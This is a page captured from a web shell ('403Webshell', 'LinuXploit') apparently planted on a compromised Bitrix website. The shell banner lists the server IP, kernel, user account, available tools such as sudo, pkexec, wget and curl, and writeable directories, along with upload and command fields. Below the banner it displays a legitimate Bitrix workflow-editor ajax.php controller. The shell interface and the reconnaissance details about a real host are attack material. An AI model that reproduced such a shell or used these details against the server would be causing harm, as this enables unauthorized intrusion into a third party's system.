403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/bizproc.workflow.edit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/bizproc.workflow.edit/ajax.php
<?php
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
	die();

use Bitrix\Main;
use Bitrix\Main\Engine\Response\AjaxJson;

class BizprocWorkflowEditAjaxController extends Main\Engine\Controller
{
	protected function init()
	{
		if (!Main\Loader::includeModule('bizproc'))
		{
			throw new Main\SystemException('Module "bizproc" is not installed.');
		}

		parent::init();
	}

	public function configureActions()
	{
		return [
			'export' => [
				'+prefilters' => [
					new Main\Engine\ActionFilter\CloseSession(),
				],
				'-prefilters' => [
					Main\Engine\ActionFilter\Csrf::class,
				],
			],
			//'import' => [
			//	'+prefilters' => [
			//		new Main\Engine\ActionFilter\CloseSession(),
			//	],
			//],
		];
	}

	public function exportAction($templateId)
	{
		$params = $this->getUnsignedParameters();
		$user = new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser);

		$canWrite = CBPDocument::CanUserOperateDocumentType(
			CBPCanUserOperateOperation::CreateWorkflow,
			$user->getId(),
			[$params['MODULE_ID'], $params['ENTITY'], $params['DOCUMENT_TYPE']]
		);

		if (!$canWrite)
		{
			return false;
		}

		$datum = CBPWorkflowTemplateLoader::ExportTemplate($templateId);

		if (!$datum)
		{
			$response = new Main\HttpResponse();
			return $response->setStatus(404);
		}

		$response = new Main\HttpResponse();

		$response->setStatus('200 OK');
		$response->addHeader('Content-Type', 'application/force-download; name="bp-'.$templateId.'.bpt"');
		$response->addHeader('Content-Transfer-Encoding', 'binary');
		$response->addHeader('Content-Length', strlen($datum));
		$response->addHeader('Content-Disposition', "attachment; filename=\"bp-".$templateId.".bpt\"");
		$response->addHeader('Cache-Control', "must-revalidate, post-check=0, pre-check=0");
		$response->addHeader('Expires', "0");
		$response->addHeader('Pragma', "public");

		$response->setContent($datum);

		return $response;
	}

	private function importTemplateAction()
	{

	}

	private function saveUserParamsAction()
	{
		$userParams = is_array($_POST['USER_PARAMS']) ? $_POST['USER_PARAMS'] : [];
		\Bitrix\Bizproc\Activity\Settings::encodeSettings($userParams);
		$serializedUserParams = serialize($userParams);

		$maxLength = 16777215;//pow(2, 24) - 1; //mysql mediumtext column length
		if (strlen($serializedUserParams) > $maxLength)
		{
			return AjaxJson::createError(new Main\ErrorCollection([
				new Main\Error(Main\Localization\Loc::getMessage('BIZPROC_USER_PARAMS_SAVE_ERROR'))
			]));
		}
		$activitySettings = new \Bitrix\Bizproc\Activity\Settings('~bizprocdesigner');
		$activitySettings->save($userParams);

		return true;
	}

	private function saveTemplateAction($templateId)
	{
		$params = $this->getUnsignedParameters();
		$user = new CBPWorkflowTemplateUser(CBPWorkflowTemplateUser::CurrentUser);

		$templateFields = [
			"DOCUMENT_TYPE" => [$params['MODULE_ID'], $params['ENTITY'], $params['DOCUMENT_TYPE']],
			"AUTO_EXECUTE" 	=> (string) $this->getRequest()->getPost("workflowTemplateAutostart"),
			"NAME" 			=> (string) $this->getRequest()->getPost("workflowTemplateName"),
			"DESCRIPTION" 	=> (string) $this->getRequest()->getPost("workflowTemplateDescription"),
			"TEMPLATE" 		=> (array) $this->getRequest()->getPost("arWorkflowTemplate"),
			"PARAMETERS"	=> (array) $this->getRequest()->getPost("arWorkflowParameters"),
			"VARIABLES" 	=> (array) $this->getRequest()->getPost("arWorkflowVariables"),
			"CONSTANTS" 	=> (array) $this->getRequest()->getPost("arWorkflowConstants"),
			"USER_ID"		=> $user->getId(),
			"MODIFIER_USER" => $user,
		];

		$errorMessages = [];
		$errors = [];

		try
		{
			if ($templateId > 0)
			{
				CBPWorkflowTemplateLoader::Update($templateId, $templateFields);
			}
			else
			{
				$templateId = CBPWorkflowTemplateLoader::Add($templateFields);
			}
		}
		catch (Exception $e)
		{
			if (method_exists($e, 'getErrors'))
			{
				$errors = $e->getErrors();
				foreach($errors as $error)
				{
					$errorMessages[] = $error['message'];
				}
			}
			else
			{
				$errorMessages[] = $e->getMessage();
			}
		}

		return ['templateId' => $templateId, 'errors' => $errors, 'messages' => $errorMessages];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit